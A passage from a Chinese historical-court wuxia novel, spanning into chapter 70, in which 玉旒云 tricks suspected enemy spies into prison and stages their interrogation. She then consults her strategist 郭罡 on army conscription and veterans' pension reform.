顺天府的衙役看翼王的言谈举动,觉得他一点儿也不像是有病痛在身,多半是和云来酒家里的什么人结了私怨,所以非要借顺天府的力量来出口气。衙役们对此很是不齿,不过又不能得罪翼王。那捕头暗想:看情形,最简单的解决办法就是把云来酒家里的人都抓了,到顺天府溜一圈,敷衍完了翼王这个混世魔头,再把他们都无罪开释。就算这些人心中怨愤,也只能背地里骂翼王,与顺天府无关。 如此一想,他就命令衙役们道:“你们没听见王爷吩咐么?还不去拿人?里里外外,一个也不要放过!” 衙门们应声“是”,先将掌柜和门外的两个伙计拿下,接着又闯进了店中。从玉旒云的角度并不看不见殿堂里的情形,然而听到里面的喊冤叫屈之声和外面的愤愤不平之声相互应和,混乱的程度可想而知。翼王又悄悄抬头来看她,被她狠狠警告了一眼,这才又接着朝衙役们发号施令,指手画脚。 过了不到一顿饭的功夫,云来酒家门口就跪了二、三十个人。衙役们用绳子将他们绑成一串。同时,店堂里还不断地有人被押出来。玉旒云既兴奋又紧张,目不转睛地盯着每一个从屋檐下被推出来的人。终于,她的眼睛一亮:看到似曾相识的身影了——一个胖得好像塞满了的大麻袋似的人,然而脚步沉稳,一点儿也没有寻常胖子的蹒跚之态,显然是个会家子。 她激动得差点儿站起来。 紧跟在那胖子的后面是一个青年男子,接着又推出来一个中年妇人,还有两个看起来五大三粗的汉子。玉旒云对他们并没有印象,但直觉告诉她,这几个人都和胖子是一伙的。 他们也和众人跪在一起。玉旒云一刻也不放松地看着,见两个汉子四下里张望,又和妇人耳语些什么,妇人摇摇头。青年男子见了,发表了一句不知什么意见,胖子仰起脸来,朝四周望了望——玉旒云就看到他的面孔了。不错,正是当日在神农山庄有过一面之缘的北武林盟主岳仲英。 她的心都要跳出嗓子眼儿了,朝栏杆里迅速地一缩,确保自己不被人看到。心中想:好哇,你们这群匹夫,既然送上门来找死,我没道理不成全你们的! 就听外面捕头发话:“都查清楚了?没有漏网的?” 衙役答道:“全都在这里,一个不落。” 捕头道:“好,带回顺天府。”又来请示翼王:“王爷要跟去监督我们大人查案么?还是过几天等大人查清楚了,再请王爷来发落凶徒?” 翼王摸摸下巴,实际上是把眼来看玉旒云。这次玉旒云朝他点了点头。翼王就道:“本王折腾了这大半天,本该去太医院找个太医瞧瞧病,但是——哼,你们这些奴才打量我不知道你们心里转的什么鬼主意?是打算随便敷衍敷衍本王,做个样子,其实半路就把这些嫌犯给放了,然后过几天又编个理由来糊弄我,是不是?还是你们心里想,过几天,本王都不记得这茬子事了?” 捕头哪料到这个草包王爷也能识穿自己的计策,赶忙赔笑:“王爷说的哪里话?下官怎么敢敷衍了事?王爷既然不放心,就亲自监督下官把这些刁民押回顺天府,关进大牢,如何?” 翼王道:“这还差不多。” 于是,在众人的议论声中,顺天府的衙役将云来酒家里近四十个人全部押走。玉旒云看他们就快到街口了,便丢了几角银子在桌上,步下茶楼。 顺天府的大牢顷刻就被塞满了。翼王亲自监视着牢门上锁,还拉着府尹殷复叮嘱了好几回,要他不许敷衍了事。殷复满口答应,待把瘟神送出了门,立刻吩咐衙役:“还不快去把人都放了?翼王爷不怕都察院的人,我还要保住我的乌纱帽呢!” 衙役们陪翼王疯了这么久,早也烦透了,立刻应声照办。然而,脚步方才移动,就听门口一声冷冷的吩咐:“都给我站住了,云来酒家抓到的有乱党逆贼,一个也不许放!”大家都一惊,才看到玉旒云走了进来。 如果说大家怕翼王是怕这草包自找麻烦,然后需要别人来收拾,而对玉旒云的惧怕则是因为玉旒云太过厉害,大家怕她前来找麻烦。殷复额头上立刻冒出了冷汗:“啊……玉……玉大人怎么也来了?乱党?云来酒家有乱党?” 玉旒云道:“不错。我特地要翼王爷演出了一场闹剧,就是为了要捉拿这些乱党。” 玉旒云竟然和翼王合作?殷复差点儿没摔一跤。不过京师出了乱党就是他顺天府的责任,赶忙请罪道:“下官失察。不知是四十个人都是乱党,还是……” 玉旒云道:“这个不需要你费心。事关重大,兵部和刑部会接手。你现在要做的有三件事——第一,立刻派人去九门提督衙门找潘大人,告诉他我要他带了人来这里帮我押送犯人——要他的亲兵;第二,叫你的手下去大牢里和犯人们说,现在翼王还在衙门里无理取闹,等他一走,你们立刻放人。而且,为了表示歉意,你会上奏朝廷,补偿今日的冤案,要这些人全都留下姓名住址来。你给我一一纪录。第三,你们从前不是审过许多用蒙汗药害人的案子么?一定没收了不少蒙汗药吧?姓名住址一登记完了,你就给他们点水喝,把他们全部放倒——明白了没有?” “明……明白了……”殷复虽然丈二和尚摸不着头脑,但是玉旒云的命令怎容他多问,即刻吩咐衙役门照办。 过了大半个时辰,九门提督潘硕就带着十几个亲兵好手赶来了。与此同时,衙门们也将云来酒家一干人等的姓名登记完毕。玉旒云扫了一眼,自然没见到“岳仲英”这个名字,想来楚国武林的匹夫还没有愚蠢到做细作还用自己真名的。“去核对户籍簿。”玉旒云吩咐殷复,“凡是本籍在西京,姓名和住址对得上号的,留在你的大牢里。等蒙汗药的药性过去了,一人赏一贯钱,放他们回去。凡是在我们西京的户籍簿上找不着的,或是找着了名字但是和住址对不上的,统统给我押到九门提督衙门去。” “是,是,是……”殷复答应着,心里叫苦:这户籍簿要查到什么时候? 而玉旒云交代出去了任务,就只管结果不管过程,她看也不看愁眉苦脸的殷复和众衙役,自招呼潘硕:“你跟我到大牢里来。” 潘硕应了,带着手下跟她步入大牢。 殷复已经按照玉旒云的命令弄了混有蒙汗药的水给众人喝,牢内的许多已经开始东倒西歪。恰恰的身怀武功的那些本身抵御力就强,又发觉情形不对,纷纷运功镇压药性——区区这点蒙汗药当然奈何不了他们,所以这时都还清醒着。 玉旒云直冲着岳仲英被关押的那间牢房走了过去。她听见有人道:“师父,看来这不像是那狗屁王爷无理取闹这么简单啊!” 岳仲英还不待答,玉旒云已经呵呵冷笑了两声,接话道:“不错。跟狗屁王爷一点儿关系也没有。岳盟主是吧?我们又见面了!” 岳仲英一怔,大牢里光线昏暗,隔着栏杆的青年公子乍看之下完全陌生,定睛细细一打量,才认出是在画像上见了无数回,又在神农山庄把大家当猴耍,且在他们眼皮子底下安然脱身的“恶贼”玉旒云。他不禁既惊又怒:“原来是你!我早该料到!” 玉旒云嘿嘿一笑:“若是早料到了,怎么会进了我的大牢?你们以为是翼王无理取闹,害怕打草惊蛇,所以乖乖地束手就擒,指望转一遭就又放出来。未想机关算尽,钻进了顺天府大牢。” “玉旒云!”岳仲英身边一个粗壮汉子喝道,“你用连环奸计,算是什么英雄好汉?不如你跟我单打独斗,若是你赢了,我们随你要杀要剐,要是我赢了,你就要——立下毒誓,不得侵犯楚境!” 玉旒云听到这种话,简直笑得肚子也要疼了:“你成了我的阶下囚,倒来跟我谈条件?我本来就不是什么‘英雄好汉’,犯不着跟你们这群匹夫单打独斗。你的脑袋能不能留到明天还是问题,说什么要我永不攻楚——真是异想天开!” “玉旒云!”岳仲英喝道,“你以为用些下三滥的蒙汗药和这牢笼就能困得住我?现在就来取你的狗命!”说时,双掌齐发,直朝牢栏上推了过来。 玉旒云听到清晰的“喀啦”声,显然是木头折断了,而且也感觉刚劲的掌风扑面而来。她急忙朝后一闪。同时,潘硕护上前来。只见他手一抬,寒光闪烁,袖箭“嗖”地飞了出去,不偏不倚,就钉在岳仲英的掌心。岳仲英是盛怒之下疏于防范,但并不在乎这点小伤,依然要破牢而出。然而才移动步子,就“咕咚”一下跌倒在地——潘硕的袖箭上显然是淬了药的。 “你暗箭伤人!”其他的楚人厉声怒喝,“快把解药拿出来!” 玉旒云冷笑:“拿解药救醒他出来杀我么?” “没有岳掌门,你道我们就杀不了你?”那粗壮汉子斥道,“纳命来!”说时,也挥掌来劈牢栏。 玉旒云这次连闪都不闪,冷眼看着。潘硕一声令下,同来的所有兵士都放出了袖箭。虽然楚国武林众人个个身手不凡,然而在这么狭小的空间里怎能躲避如雨的暗器?只不过一眨眼的功夫,那一见囚室里的人就全部倒下。 “蒙汗药哪是用来放倒你们的?”玉旒云轻蔑地看看那些挣扎着想保持意识的人,“不过是用来试试谁身怀武功而已。”她又转而命令潘硕:“这牢里还有哪一个是醒着的,补上一箭,统统押回九门提督衙门去。到殷复查完了户籍,咱们再多退少补。” 潘硕应道“是”,即吩咐亲兵们即刻去办,自己紧紧随在玉旒云身边,一则提防有漏网的楚人突然发难,二则准备玉旒云随时还有别的吩咐。而玉旒云只是微微笑了笑:“我早听说你练了一批用袖箭的士兵,专门对付些需要留活口的犯人,果然厉害嘛。” 潘硕忙道:“大人过誉了,下官不敢当。原来这些是楚国奸细,竟然让他们在西京潜伏这么久,是下官失职,请大人处罚。” “也不算是你失职。”玉旒云道,“况且就凭这些草包,能成什么气候?”她说着,又想:林枢这家伙知情不报,到底安的什么心?如果是想以此来取得她的信任……将岳仲英等人统统出卖,这小子也够狠的。不过,始终是不能信他。 说话间,士兵已经将牢房查了一圈,又抓出几个“疑似”楚国奸细的。潘硕恐怕袖箭的药力不足以使这些武林高手长时间昏睡,又向殷复借了枷锁镣铐,复用铁链将这些人捆在一处——总共是九个。“大人,”他请示玉旒云,“带回九门提督衙门后留下官可以立即弄醒他们实行审问。大人要亲自来监督么?” “这个嘛……”玉旒云想:从这些匹夫的口中也问不出什么来,再放他们出去到中原武林制造些混乱吧,也实在没有那个必要——楚国武林本来就够颠三倒四乱七八糟的了。看来看去,这些人甚至没有活着浪费粮食的必要,不如立即处决了?然而太子出生大赦天下,还非得把这些窝囊废在牢里关到明年…… 啊!她心中忽然一动。“不要押回九门提督衙门了。”她道,“直接押到刑部大牢。” 70. 第 70 章 刑部大牢从来没有像这样热闹过。先是押来一个看似无关紧要的郭罡,后来就有刘子飞亲自来打招呼,说要好生照顾,不日就会翻案。接着就由九门提督衙门押来了一群所谓楚国奸细——事关重大,这该是兵部接手啊!潘硕却道:“不错,原该是兵部管,但议政处说了要押这里,谁也没办法。”刑部的人好生纳闷,但是既然是议政处发话,也就不好多说什么。只问:“那接下来要做什么?”潘硕道:“议政处要亲自审。”“哦——”刑部的人想,自悦敏进了议政处,事必躬亲,这也不稀奇。于是,他们什么也没多问,送了潘硕出来。然而,到第二天,“议政处”来人审问犯人了,刑部的人才惊得下巴都掉在了胸口上——居然是翼王!居然是这个没事就斗鸡走狗的草包王爷,他怎么会揽上这档子事?再仔细一看,走在翼王身边负着手冷冰冰的这个青年不就是玉旒云么?刑部的人头脑才转过了弯来:啊,哪里是翼王要审奸细,是玉旒云的意思才对。而翼王只不过是为了得到这位冷面佳人的欢心,特别要来凑个热闹就是了! 本来担心翼王来到大牢会闹个鸡飞狗跳,但是既然玉旒云才是正主儿,她对付奸细是很有手段及分寸的,刑部的人也就不担心,按照吩咐把一行人引到了牢中。玉旒云向他们要一本犯人的花名册,他们立即双手奉上。接着,她又要他们退下,他们就乖乖地,并且远远地退开一边去了。 翼王这时真是摩拳擦掌、兴奋难耐——看他那样子,恐怕再也没想到玉旒云会派人到他府里去找他一起来“审犯人”。如今只恨自己没有打听打听犯人应该是怎么个审问法。但是又想,若然自己一窍不通,正好可以向玉旒云请教,岂不又多了亲近的机会?因此,一到拷问室,他就立刻有多白痴装多白痴,要玉旒云好好向他讲解一下对付奸细的方法。 玉旒云阴阴地一笑:“王爷这一问倒真是出人意料。通常人都以为只要狠下手来打,什么犯人都会招供,却其实并不知道内中学问很大。王爷竟先已想到了这一条,实在天赋过人。” 翼王露出既得意又担心的表情——大约他生怕玉旒云会丢下自己一个人办这无聊差事,就连忙道:“大人谬赞。小王只是胡乱猜测的,歪打正着,做不得数。一切要如何进行,还听大人差遣。” 玉旒云道:“那正好。”一边吩咐人去把岳仲英带来,一边把军中向奸细逼供的一套手段都向翼王说了。这其中即有拷打的秘诀,又有威逼的窍门,翼王一时听得毛骨悚然,一时又感觉莫名其妙,正挠头不已时,见岳仲英已经被带来了,便道:“大人,你一次讲了这么多,恐怕小王也记不住,更不知道对付什么人要用什么法子。你就说眼前这老贼,该如何对付?” “他?”玉旒云道,“最简单不过了,绑起来,打。” 翼王听言,吩咐左右:“没听见玉大人的话么?绑起来,打!” 士兵自然依言行事。岳仲英就破口大骂:“姓玉的,你不得好死,你……” “把他嘴堵起来。”玉旒云冷冷地吩咐,“给我好好地打。” “是。”士兵们遵命。不一刻,拷问室里就充满铁棍与肌肉的撞击声与闷哼的呻吟。翼王看得心惊肉跳,而玉旒云则好整以暇,坐在一边喝茶,连瞥都懒得去瞥一眼。 “我看……”翼王忍不住道,“打得也差不多了,要不要把堵嘴的布条掏出来,问问他?” “不用。”玉旒云道,“他除了骂我,什么也不会说的。” 翼王一愕:“那还花这么大力气打他?” “打给人看。”玉旒云笑了笑,“来,把他解开来,带回牢房里去。不过要单独关,关在他的同党对面。” 翼王更加丈二和尚摸不着头脑了,但看玉旒云仿佛并不想解释,也就不去招惹她讨厌。待士兵把岳仲英架走了,大约过了一盏茶的功夫,玉旒云从椅子里站起身来,道:“好,把那个年轻男子和那个女子给我带来。年轻男子交给翼王爷,女子带到隔壁,我来亲自审。” “啊?分开审问?”翼王老大不愿意,“小王可还不知道要怎么对付这些乱党逆贼呢,大人就不能再示范一回?” 玉旒云笑了笑:“王爷不记得我刚才教你的那些了么?审问可是一门很大的学问。我来你给解释一下吧——方才那个岳仲英是这帮逆贼的头目,身份最高,本领最好,嘴巴肯定也最难撬开。我们把他打成那个样子,再带回去给他的手下看看,他的手下会如何呢?”不等翼王回答,她自己已接下去道:“恐怕才看到,心已寒了一半。该动摇的就要动摇了。如今再把年纪最轻的那个男人带来审问,你要狠狠地打,让整个刑部大牢都能听见他的惨叫。而我就在隔壁慢慢对付那个女乱党。不管你审的这个人说不说什么对咱们有用的话,只要那女人听见他哀号,我的攻心战就已经胜利了七成。最后三成,我也很有把握。” “原来如此!”翼王道,“这打人事很简单,让兵丁们去做就好了。我要跟你去看看你怎么攻心。” “不行。”玉旒云立刻冷下脸来,“王爷本此来既是想帮忙也是想学点东西。学东西要循序渐进从简单的开始。而帮忙如果成了帮倒忙,那还不如不要帮。王爷请回吧。” “不,不,不——”翼王一看她要赶自己,连忙摇手,“我不看了。我在这里帮你审问逆贼。” 玉旒云似乎还是有些勉强的样子:“果真?王爷,这可非同儿戏,你千万不要给我添乱!” “决不添乱。”翼王赌咒发誓,“你叫我拷问这个人,我就一直拷问到你来叫停为止,决不离开半步。” “果真?”玉旒云皱了皱眉头。 “如有食言,天诛地灭!”翼王不顾禁忌,口没遮拦。 “好吧。”玉旒云毫无表情地说道。正好这当儿士兵也把人押来了,她就退出了房间去。 拷问室的门在她身后关上。楚国的那个女侠对她横眉怒视。玉旒云早已叫潘硕动过手脚,这些大侠们连半点武功也使不出来。她就阴阴地一笑,捏住那妇人的下巴,道:“瞪着我就有用了么?什么叫天堂有路你不走,地狱无门你闯进来。一会儿你就知道闯进地狱的下场了。” 妇人气得想要破口大骂,然而下颚被制,只能发出“啊啊”的声音。玉旒云笑得更加阴险,忽然松开了手指,翻掌一劈切在妇人的颈间。这一击来得突然,下手的部位准确,力道又刚猛,妇人连哼也没哼出一声就晕了过去。押送的士兵愕然。但玉旒云低声吩咐道:“带她进去,堵上她的嘴,静静地等我回来。期间,一个人也不要放进拷问室。” 士兵不敢多问,只有立即照办。而玉旒云就沿着刑部大牢阴暗狭长的走道朝牢房的另一翼走去。 她早就从花名册上找好了自己要去的那一间囚室,目不斜视,径直走向自己的目标。没转几个弯,已然来到整个大牢的一隅,这里相对明亮宽敞些——因为尚有一扇天窗漏下日光。然而囚室还是囚室,铸铁的栏杆,囚犯插翼难飞。她看看里面,收拾的倒还干净,床、榻、桌、椅,靠墙居然还有书架,日光最好的地方更有棋枰。她不禁笑了笑,道:“这哪里是坐牢?简直就是享清福嘛!” 而正专心致志研究黑白子的郭罡就从棋枰上抬起头来:“我以为大人还要再迟些才能想到法子来见我,不想这么快就来了。大人的手段实在比常人高明。” 玉旒云“哼”了一声:“怎么?你在这里享福不是很好么?为什么急着要我见你?” 郭罡摸了摸胡须:“我并没有急着要见大人——我觉得是大人急着要见我呢。” 跟这个人斗嘴简直就是浪费时间。玉旒云索性开门见山:“如今的局势,你怎么看?” “什么局势?”郭罡拈着一粒棋子。 玉旒云讨厌他这种装糊涂的态度——是他在江阳跟她说,之所以要进大牢来,就是为了要她方便来商议大事,他还总是显出洞悉先机、掌控全局的架势,现在回到了西京,他明知道这是暴风雨前夕的宁静,却还要跟她卖关子……可恶!她一握拳头:我玉旒云这十几年来没有谋士,还不是所向披靡?我为什么要被这个糟老头玩弄于股掌之间?与其跟他浪费功夫,还不如去和梦泉商量铲除赵王的大计! 想着,她扭身就走。 “大人!”郭罡在后面唤她,“大人为何如此性急?” “我不性急。”玉旒云道,“不过我不喜欢跟有些人闲扯猜谜。” “我也不是故意要和大人闲扯猜谜。”郭罡道,“然而大人见到我,张口就问‘局势’我怎么知道大人问的是什么‘局势’?” “现在西京还能有什么局势?”玉旒云道,“永泽公悦敏已经进了议政处——或者不如说,议政处成了他的天下了。当此时,我还能关心其他的局势么?” 郭罡放下一枚棋子:“所以大人很着急。大人想,也许某些人随时会下手。然而,大人又不能确定他什么时候会动手。因为他仿佛已经有过很多动手的机会,却一直按兵不动。大人你猜想他是在等着什么,但是你却不知道他究竟在等什么。所以,你想来问我这个问题,是不是?” “是。”玉旒云道,“你能回答这个问题么?” 郭罡站了起来,似乎是欣赏玉旒云的直接。他走近了几步,低声却淡然地道:“我当然知道。” “等什么?”玉旒云立刻也凑进了囚笼。 “他在等一个错误。”郭罡道,“一个皇上犯的致命的错误。” 玉旒云皱起眉头,不太明白这话的隐意。 郭罡走回棋枰边,拿起一黑一白两枚棋子来,道:“无论是黑是白,无非是棋子而已。是圆的,是瓷做的,本身和胜负无关,对不对?” 玉旒云早在天江之滨跟神秘老人下了几盘棋之后就根本没考虑过这黑白之术。郭罡这话显然是对的,然而又打的什么哑谜? 郭罡也知道多卖关子只会惹玉旒云生气,于是切入了正题:“其实皇上也是一样。天下人看来,只要万事顺遂,谁当皇帝都是一样的。所以,即使有另外一个人有能力坐这个位置,只要大家不觉得现状有何不妥,为什么要费功夫换皇帝呢?兴许换了会把日子搞得一团糟,何必吃力不讨好?” 玉旒云开始有点明白了:“你是说,当今圣上虽然无大功,却也无大过,所以如果……”她压低了声音“赵王”两个字几乎不可闻:“如果他要当皇帝,天下人并不会支持他,这位子决坐不稳,是也不是?” 郭罡点了点头:“大人果然一点就透。所以,现在他等待的就是要皇上犯一个大错误,让百姓吃惊,让百官失望,然后他再来取而代之,就容易得多了。” “不过,究竟是什么大过?”玉旒云道,“皇上其实是个老好人,不过问大事,又怎么会犯大错?” 郭罡笑了笑:“他自己不会犯错,但是人家可以逼他,可以陷害他。比如说,当初大青河一战,大人虽然没有胜利,但是也不算战败,万岁却急诏大人单独回京,又将大人软禁起来,削了兵权——樾国能有今日的版图,有一半是大人打下来的,除了太祖、太宗皇帝,谁还能跟大人比军功?竟为了一点小小的麻烦将大人囚禁,不说旁人,就是各地的兵士,也会觉得万岁此举大大的不妥吧?” 不错,玉旒云豁然开朗:赵王联合西瑶,用供品灵芝陷害她,又迫使庆澜帝将她削权软禁,在军中引起了轩然大波,让武官们人人自危。这就是他设计的一个“大过”。而且,他的计划不仅仅是这样,他还想离间玉旒云和庆澜帝的关系,他用美人计害玉朝雾,又想把玉旒云和石梦泉都拉到自己的旗下——如果一切都按他的意愿进行,庆澜帝犯了大过,他却得了猛将,谋朝篡位的事早该成就了。只是,容贵妃博西勒疏忽大意,庆澜帝急中生智,又有老天帮助,玉朝雾怀了太子,玉旒云不仅被释放,还做了领侍卫内大臣。局势瞬间扭转。接着,段青锋“暗送秋波”,玉、石二人远赴西瑶。赵王大约早也知道消息,但是,没有制造出一个新的“大过”给庆澜帝,他始终师出无名。若这次玉旒云东征有了什么问题,他倒可以借题发挥,好在郭罡把所有罪名都顶了下来。赵王现在一定正处心积虑寻找新机会吧? 郭罡料想玉旒云已经全然明白了,即道:“大人是树大招风,我看这一次他还会在你身上作文章。” “那怎样?”玉旒云道。 “大人就要小心。”郭罡道,“千万不要给他可乘之机。” 玉旒云听他这语气,仿佛是说自己已经梳了满头小辫子就等着赵王来抓似的,很是不快。道:“我自然理会得。可是和他这样耗下去也不是办法吧?他在我身上抓不到把柄,难道不会找别人么?我们就不能先下手为强?” “他不造反你先下手,这是什么道理?”郭罡道,“我方才说‘除了太祖、太宗皇帝,谁还能跟大人比军功’——有一个人,那就是赵王爷。你不能动他和他不能动皇上的道理是一样的。而且,你不仅不能动他,连那个意思都不能露出来。东征也结束了,皇上也就快要犒赏军队了,犒赏完了之后,这么多兵马集结在西京,不是图谋不轨是什么?随便给你加一个拥兵自重的罪名,你就到牢里来和我做伴了。” “让这些兵马集结京师就是为了防备万一。”玉旒云道,“如果他突然发难——” “他带了兵马回来么?”郭罡冷冷地问道,语气就好像一个私塾先生指出蒙童的别字。 玉旒云怔了怔,摇头道:“没有。” “大人统领禁军,九门提督也是你的旧部下,京城之中有多少人马是不听你指挥的,扳着手指头也能数过来。”郭罡道,“何必还要在城外留着那么多人?再说,这些人有更好的用途。” 玉旒云真讨厌每次一到郭罡的面前原本叱咤风云的自己就像是幼稚孩童。然而一听到“有更好的用途”,她也就顾不得生气,问道:“什么更好的用途?” 郭罡微微而笑:“大人当年落雁谷一战凯旋归朝,接着就让士兵轮休回家耕田,这不是很好么?不仅要得军心,也要得民心嘛。” 玉旒云道:“这也使得,正在农忙的时候。” 郭罡道:“不过这一次,并不是要大人放他们暂时休息,我想要大人让所有二十五岁以上的士兵永远回家。” “什么?”玉旒云惊道,“大军之中多的是二十五岁以上的人,永久离开了军队,我的人马岂不是也要减少一半?” 郭罡道:“不仅二十五岁以上的要离开,十八岁以下也要离开。” 这下玉旒云差点儿没跳了起来——军队招募的最低年龄是十六岁,年岁在十六到十八岁之间的人虽然不多,但是让他们都回家去,还是会大大削弱战斗力。她既恼火又迷惑地瞪着郭罡。 郭罡道:“大人知道程亦风在楚国变法,其中有一条很有意思,就是‘官雇’,让朝廷出钱雇佣百姓来服徭役,这样有力气又有时间的人就可以来多赚银两,没力气没时间的人不会被强拉出去,少了许多抱怨呢。大人觉得军队征兵是不是也能如此?” 玉旒云皱着眉头:“要说现在来当兵,也不是没有月例银子嘛。如果成了随便人来不来,恐怕很少有人愿意上战场的吧?” “所谓‘古来征战几人还’,说的是沙场上凶多吉少,有去无回。世上有谁不怕死的?当然能不上战场就不上战场了。”郭罡道,“只是,大人带一队人马出去,究竟是回来的多还是死掉的多呢?” “自然是回来的多。”玉旒云道。 “是了。”郭罡道,“所以‘古来征战几人还’这话是靠不住的,甚至可以说是以讹传讹的,至少在大人的军中是如此。”他顿了顿,又道:“大人带兵出去,是不是仗得越称手,伤亡也就越小呢?” “当然。”玉旒云道。 “打仗称手需要怎样?”郭罡问。 “当然最好是遇上一个不堪一击的敌人,”玉旒云笑道,“只是,那是不受我的控制。在我看来,士兵要训练有素,进退有度,处变不惊,灵活机动——若是这些达不到,服从一个好的军官也是可以的。” 郭罡笑了:“那么大人想不想要一支‘训练有素,进退有度,处变不惊,灵活机动’的军队?” 玉旒云道:“我如何不想?操练之时也尽量教导。但是士兵来自天南地北,各地兵营里训练的条例也不尽相同。有时招募紧急,更来不及训练。这些人上了战场,自然容易丧命。” 郭罡道:“不错。大人是不是觉得自己和石将军训练的亲兵是现在军队中的佼佼者?还有不少普通的士卒经过大人的训练再被提拔已经可以胜任指挥之职?” “当然是我自己训练的人知道我的要求。”玉旒云道,“下达命令时,他们就不会胡乱执行。收编过来的部队,大打折扣。” 郭罡扳着手指头:“训练过的士兵上战场不容易死,在军队中容易晋升,晋升了之后俸禄增加,将来还可以封妻荫子——对于一个在乡下种田可能一辈子也出不了头的年轻人来说,这笔买卖可真不错呢!”他笑看着玉旒云:“大人有没有想过统一全国的新兵操练制度,将接受训练并参军的好处向各地的百姓宣传,鼓励十六岁以上的男子都报名参训,以此为自己组建一支强大的后备军队?” 玉旒云其实听到他之前的分析,已经隐隐知道他要建议什么,心中早就一点点沸腾起来,感觉这个想法实在妙不可言:“正该如此。凡参加了训练又年满十八岁的,就可以候命出征,立了功的可以晋升为将领,若不想继续留在军中的,到二十五岁自然回家去——这可比面朝黄土背朝天好得多了。而且全国男子只有十六到二十五岁的被抽调在军中,其他的青壮年都继续务农,也不耽误生产。这计策真是再好不过了!” 郭罡道:“不仅如此,依我看十六岁才应征实在太晚了。应该先在先在各地设立武备学塾,专收蒙童入学,既读书识字,又练武强身,将来他们愿意入营受训的,比旁人起点高,可以研习兵法,栽培了做将领。而不愿意当兵的,读了四书五经,也可以出来考功名——不管他应考之时是何人主判,最后序为何人门生,论起开蒙之师,究竟是武备学塾,那也就是玉大人你的门生。遍布中央地方,几个永泽公也难以指示他们对大人不利。” 果然!玉旒云兴奋不已,经郭罡一润饰,这点子愈加好了。可郭罡还没说完:“而凡是当过兵的,退伍之后如果能活到五十岁,朝廷负责养老,若活不过,到了年限时,朝廷负责养他的孤儿寡妇——旨在表彰他们对朝廷、对国家的贡献,也鼓励其他人继续出来为国效力——若有如此制度,大人还怕没人愿意出来当兵么?只怕打破了头,踩坏了门槛儿,大人的征兵官儿来不及挑选吧!” “好极了!”玉旒云兴奋地搓了搓手,“我这就回去跟梦泉商量商量,叫兵部把这事办起来。” 郭罡点头微笑:“石将军在练兵方面的确很有经验,各地兵营的训练章程非得由他来撰写不可。至于其他杂七杂八的事情,我替大人草拟了些意见,大人不弃,可以拿回去参考,有什么疑惑不明的,我随时都在这里等着,帮大人解答。”说着,从那棋枰下抽出一封手札来,交给了玉旒云。 他倒是早有准备!玉旒云想。不过,郭罡什么时候不是“早有准备”呢?瞥了一眼那手札,洋洋洒洒总也有万言——在江阳时已经领教过一次郭罡手书的建议,长,但是没有一句废话。这篇东西怕不是一时半刻能读完的。多半要回去挑灯夜战,然后还得过来请教他疑难问题。 好在把这帮楚国的匹夫关在大牢里,时不时拿翼王做个掩护就可以混进来了。想到翼王,她把手札藏了起来——也是时候回去找这个草包了,否则一旦露陷就麻烦了。便随便向郭罡摆了摆手:“你继续享你得到福吧,我有事自会再找你!” 还是花了不少功夫才把翼王甩了。一回到府邸,立刻屏退了下人,独自在书房里看郭罡的手札。她且看且记录,而且是越看越兴奋,有好几次忍不住拍案叫好。不知不觉都到了黄昏时分,连午饭都还没记得吃。忽然听到管家在外面敲门通报,她还老大不高兴:“干什么,不是叫你们不要来打扰我么?” 管家道:“是……不过,石将军来了。” 啊,是他!玉旒云现在就像是一个得了新奇宝贝的小孩子,等不及要和好朋友分享,即叫道:“快请进来。” 管家应声而去,不多时石梦泉就推门而入。玉旒云叫人“看茶”,才也发觉自己饿极了,因道:“什么时辰了?你留下来吃晚饭吧。” 其实离吃晚饭的时间还早。管家听到要留客,自然要特别准备,因说要厨房拿了单子来叫玉旒云过目。玉旒云很是不耐烦:“哪里这么麻烦?等你们弄好了,我也要前心贴了后脊梁——随便什么都好。有什么现成的点心,先给我上一点来。” 管家便不敢多罗嗦,垂首退了下去。石梦泉皱了皱眉头,笑道:“你怎么了?一天不见就成了饿死鬼?” 玉旒云笑道:“有一件大事,我废寝忘食呢。要不是你突然来了打了个岔儿,恐怕我真是饿死也不知道。” 石梦泉自然要问:“是什么大事?” 玉旒云把自己所抄的笔记递了过去,同时顺手将郭罡的手札塞到了一堆书的下面。石梦泉略略读了一回,没头没脑:“大人,这究竟是什么?” 玉旒云不答先问:“你昨天去军中,情形如何?” “倒也没有什么特别。”石梦泉道,“士卒们都很关心万岁爷什么时候来犒赏,早早办完了这堂面上的事,大家就好回乡了。” “可不!”玉旒云道,“我考量的也是这事。不过在万岁爷犒赏将士之前,我想把兵部的一些旧制改革一下——如今军中廿五岁以上的,如果将来不想再回到军队,就让他们回乡去,务农也好,经商也好,若愿意到地方衙门谋个差事的,就由兵部出一封推荐书。无论他们做什么,为了表彰他们在军中的表现,等他们到了五十岁之后,朝廷就依照他们原在军中的月例发给养老金,如果他们不幸早亡,到了那年限,这养老金照发,只是发给他们的妻子——你看这主意如何?” 石梦泉不知她如何“凭空”想出这点子来,愣了愣,思考了片刻才道:“这对老兵来说,可真是天大的好消息。只是朝廷哪里来这么大一笔闲钱来做养老金?” 玉旒云道:“这笔帐我已算好了,你看——”便指着笔记上的一大片数字。其实是方才看郭罡的描述自己多有不明,细细计算了一回才发觉了其中的奥妙,正在兴头上,十二万分的乐意可讲解给石梦泉听——根据郭罡的计划,现在朝廷发给普通士兵的月例是五钱银子,只要由军方出面向庆澜帝求恩典加俸,不须多,月加五厘就好。只是这五厘虽然加了,却不实在地发出去,而是作为一项新的养老税收入国库。士兵们每人月交五厘,樾国的常备军至少有三十万,无论单个的士兵服役几年,在任何时候,总有至少三十万人在向国库中交纳养老税。由本年起,第一批年满二十五岁的士兵退伍,二十五年后,这些人及他们的寡妻——如果还健在在话,开始领取朝廷的养老金。而这时候,国库中所存的养老税金已经有四百五十万两,且将继续以每年十八万两的速度增加,足够支付退伍士兵的薪俸——而且,就平民百姓来说,五十岁已是高寿,其中能有多少人活到六十、七十岁?虽然寡妻可以代领薪俸,然而寡妻一旦改嫁,朝廷也将停发银两,所以,决不用担心僧多粥少的问题。 石梦泉并不擅经营计算,半晌才有些明白了:“这就是让朝廷帮士兵存了一笔养老银子吧?” “正是。”玉旒云道,“所不同的是,一个退伍的老兵到五十岁的时候所领取并不是他当年交纳给朝廷的那笔银子,而是从现在正在服役人的腰包里掏出来的。因为服役的人总是比活着的退伍的人多,所以银子总是足够。而且,加俸五厘银子的事,皇上一定会赞成的。原先都是说多赏半年的俸禄,又是白花花的现银掏出来赏人,户部的人别提有多心疼了,现在不要他们掏现银,不过是要他们把银子从一个库里搬到另一个库里——不,其实是从一本帐册上写到另一本帐册上,他们也该少给我些脸色看。” 